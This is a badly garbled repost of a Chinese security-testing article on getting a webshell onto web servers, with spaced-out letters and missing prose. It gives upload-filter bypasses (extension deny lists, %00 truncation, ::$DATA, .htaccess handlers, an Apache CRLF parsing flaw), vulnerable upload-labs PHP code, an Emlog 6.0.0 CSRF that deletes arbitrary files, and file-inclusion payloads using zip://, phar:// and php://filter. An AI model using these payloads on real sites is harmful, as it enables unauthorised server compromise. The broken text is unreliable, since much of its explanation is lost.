[14070] 2019-05-05_聊聊安全测试中如何快速搞定Webshell

文档创建者:s7ckTeam
浏览次数:0
最后更新:2025-01-18
2019-05-05_聊聊安全测试中如何快速搞定Webshell W e b s h e l l D Y B O Y   F r e e B u f   2 0 1 9 - 0 5 - 0 5 W E B 姿 姿 0 x 0 1   1 . 1                 1 . 2   C S R F 1 . 3   w e b C M S 1 . 4   / w e b   退   0 x 0 2   J S J S ( , ( ) ) 使 / P H P w e b C M S W A F p h p , a s p , a p s x P H P p h p 3 p h p 4 p h p 5 p h t m l a r r a y (         " . p h p " , " . p h p 5 " , " . p h p 4 " , " . p h p 3 " , " . p h p 2 " , " p h p 1 " ,         " . h t m l " , " . h t m " , " . p h t m l " , " . p h t " , " . p H p " , " . p H p 5 " , " . p H p 4 " , " . p H p 3 " ,         " . p H p 2 " , " p H p 1 " , " . H t m l " , " . H t m " , " . p H t m l " , " . j s p " , " . j s p a " , " . j s p x " ,         " . j s w " , " . j s v " , " . j s p f " , " . j t m l " , " . j S p " , " . j S p x " , " . j S p a " , " . j S w " ,         " . j S v " , " . j S p f " , " . j H t m l " , " . a s p " , " . a s p x " , " . a s a " , " . a s a x " , " . a s c x " ,         " . a s h x " , " . a s m x " , " . c e r " , " . a S p " , " . a S p x " , " . a S a " , " . a S a x " , " . a S c x " ,         " . a S h x " , " . a S m x " , " . c E r " , " . s W f " , " . s w f " ) ; c o n f i g . p h p i n s t a l l . p h p i n d e x . p h p . b a k . g i t V M . s w p i n p u t a c c e p t i n d e x . j p g . p h p % 0 0 i n d e x . p h p % 0 0 . j p g : : $ D A T A w i n d o w s : : $ D A T A . : : $ D A T A l i n u x C o n t e n t - T y p e : i m a g e / p n g s h e l l . p h p : . j p g s h e l l . p h p s h e l l . > > > s h e l l . < s h e l l . < < < s h e l l . > > < s h e l l . p h p A p a c h e 2 . 4 . 0 ~ 2 . 4 . 2 9 % 0 d % 0 a C R L F A p a c h e A d d H a n d l e r   a p p l i c a t i o n / x - h t t p d - p h p   . p h p n a m e = " u p l o a d _ f i l e / 1 . p h p % 0 0 " ;   f i l e n a m e = " s h e l l . j p g " c o p y   c o d e . j p g / b   +   s h e l l . p h p / b   h o u r s e . j p g U D F s e l e c t
1 2 便 使 ( : ) U p l o a d - l a b s < ? p h p   $ i s _ u p l o a d   =   f a l s e ; $ m s g   =   n u l l ; i f   ( i s s e t ( $ _ P O S T [ ' s u b m i t ' ] ) )   {         i f   ( f i l e _ e x i s t s ( U P L O A D _ P A T H ) )   {                 $ d e n y _ e x t   =   a r r a y ( " . p h p " , " . p h p 5 " , " . p h p 4 " , " . p h p 3 " , " . p h p 2 " , " . h t m l " , " . h t m " , " . p h t m l " , " . p h t " , " . p H p " , " . p H p 5 " , " . p H p 4 " , " . p H p 3 " , " . p H p 2 " , " . H t m l " , " . H t m " , " . p H t m l " , " . j s p " , " . j s p a " ,                 $ f i l e _ n a m e   =   t r i m ( $ _ F I L E S [ ' u p l o a d _ f i l e ' ] [ ' n a m e ' ] ) ;                 $ f i l e _ n a m e   =   d e l d o t ( $ f i l e _ n a m e ) ; / /                 $ f i l e _ e x t   =   s t r r c h r ( $ f i l e _ n a m e ,   ' . ' ) ;   / /   ` . p h p `                 $ f i l e _ e x t   =   s t r t o l o w e r ( $ f i l e _ e x t ) ;   / /                 $ f i l e _ e x t   =   s t r _ i r e p l a c e ( ' : : $ D A T A ' ,   ' ' ,   $ f i l e _ e x t ) ; / / : : $ D A T A                 $ f i l e _ e x t   =   t r i m ( $ f i l e _ e x t ) ;   / /                 i f   ( ! i n _ a r r a y ( $ f i l e _ e x t ,   $ d e n y _ e x t ) )   {                         $ t e m p _ f i l e   =   $ _ F I L E S [ ' u p l o a d _ f i l e ' ] [ ' t m p _ n a m e ' ] ;                         $ i m g _ p a t h   =   U P L O A D _ P A T H . ' / ' . $ f i l e _ n a m e ;                         i f   ( m o v e _ u p l o a d e d _ f i l e ( $ t e m p _ f i l e ,   $ i m g _ p a t h ) )   {                                 $ i s _ u p l o a d   =   t r u e ;                         }   e l s e   {                                 $ m s g   =   ' ' ;                         }                 }   e l s e   {                         $ m s g   =   ' ' ;                 }         }   e l s e   {                 $ m s g   =   U P L O A D _ P A T H   .   ' , ' ;         } } ? > w i n d o w s w i n d o w s : : $ D A T A l i n u x : : $ D A T A . h t a c c e s s w i n d o w s w i n d o w s "   = >   . >   = >   ? <   = >   * s h e l l . p h p b u r p s u i t e s h e l l . p h p : . j p g u p l o a d s h e l l . p h p
h t t p s : / / g i t h u b . c o m / c 0 n y 1 / u p l o a d - l a b s 0 x 0 3                             [ ] E m l o g 6 . 0   B e t a         C M S 访 访     s h e l l . < < < m o v e _ u p l o a d e d _ f i l e ( $ t e m p _ f i l e ,   ' . . / . . / u p l o a d / s h e l l . < < < ' ) . . . / . . / u p l o a d / s h e l l . p h p s h e l l . p h p U p l a o d - l a b s C M S P H P u n l i n k ( ) C S R F e m l o g   6 . 0 . 0 C M S e m l o g 6 . 0 . 0 / a d m i n / d a t a . p h p $ _ P S O T [ ' b a k ' ] C S R F
P a y l o a d         Q Q e m m m m ~         0 x 0 4       线 使     使     e m m m ~ 0 x 0 5   / C M S       ,   ~     P O S T   h t t p : / / w w w . t e s t . c o m / a d m i n / ? a c t = d e l l _ a l l _ b a k d a t a : b a k = . . / i n d e x . p h p C S R F e m l o g T O K E N e m l o g 6 . 0 . 0 C M S i m a g e s u p l a o d l o g s r u n t i m e U R L U R L C M S W e b s h e l l i n d e x O f f i l e . p h p d o w n l o a d . p h p G e t s h e l l P H P < ? p h p / / D : / s e r v e r / h t d o c s / t e s t / t e s t . p h p / /  
P H P       P H P   使                                 P H P ,       使 / /   @ $ f i l e   =   i s s e t ( $ _ G E T [ f i l e ] ) ? $ _ G E T [ ' f i l e ' ] : ' t e s t . p h p ' ; i n c l u d e _ o n c e ( $ f i l e ) ; e c h o   " ( o ) " ; ? > i n c l u d e r e q u i r e P H P t x t u p l o a d / s h e l l . z i p s h e l l . p h p z i p h o u r s e . j p g $ _ G E T s h e l l . p h p x P a y l o a d :   h t t p : / / w w w . t e s t . c o m / t e s t . p h p ? f i l e = u p l o a d / h o u r s e . j p g & x = p h p i n f o ( ) P a y l o a d :   h t t p : / / w w w . t e s t . c o m / t e s t . p h p ? f i l e = f i l e : / / D : / S e r v e r / h t d o c s / t e s t / u p l o a d / h o u r s e . j p g & x = p h p i n f o ( ) P a y l o a d :   h t t p : / / w w w . t e s t . c o m / t e s t . p h p ? f i l e = z i p : / / D : / S e r v e r / h t d o c s / t e s t / u p l o a d / s h e l l . z i p % 2 3 s h e l l . p h p & x = p h p i n f o ( ) ) p h a r : / / P H P i n c l u d e r e q u i r e w e b s h e l l . p h p . z i p . j p g p h a r : / /
        P H P P H P 0 x 0 6   X X 1 .     2 .   0 x 0 7       * * D Y B O Y   F r e e B u f   P a y l o a d h t t p : / / w w w . t e s t . p h p ? f i l e = p h a r : / / u p l o a d / s h e l l . j p g / s h e l l . p h p ? x = p h p i n f o ( ) p h p : / / f i l t e r / B a s e 6 4 P a y l o a d h t t p : / / w w w . t e s t . c o m / t e s t . p h p ? f i l e = p h p : / / f i l t e r / r e a d = c o n v e r t . b a s e 6 4 - e n c o d e / r e s o u r c e = u p l o a d / s h e l l . p h p F u z z p r e g _ r e p l a c e ( ' / e ' , ' ' , " $ G E T [ ' x ' ] " ) S H E L L S Q L M S F

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则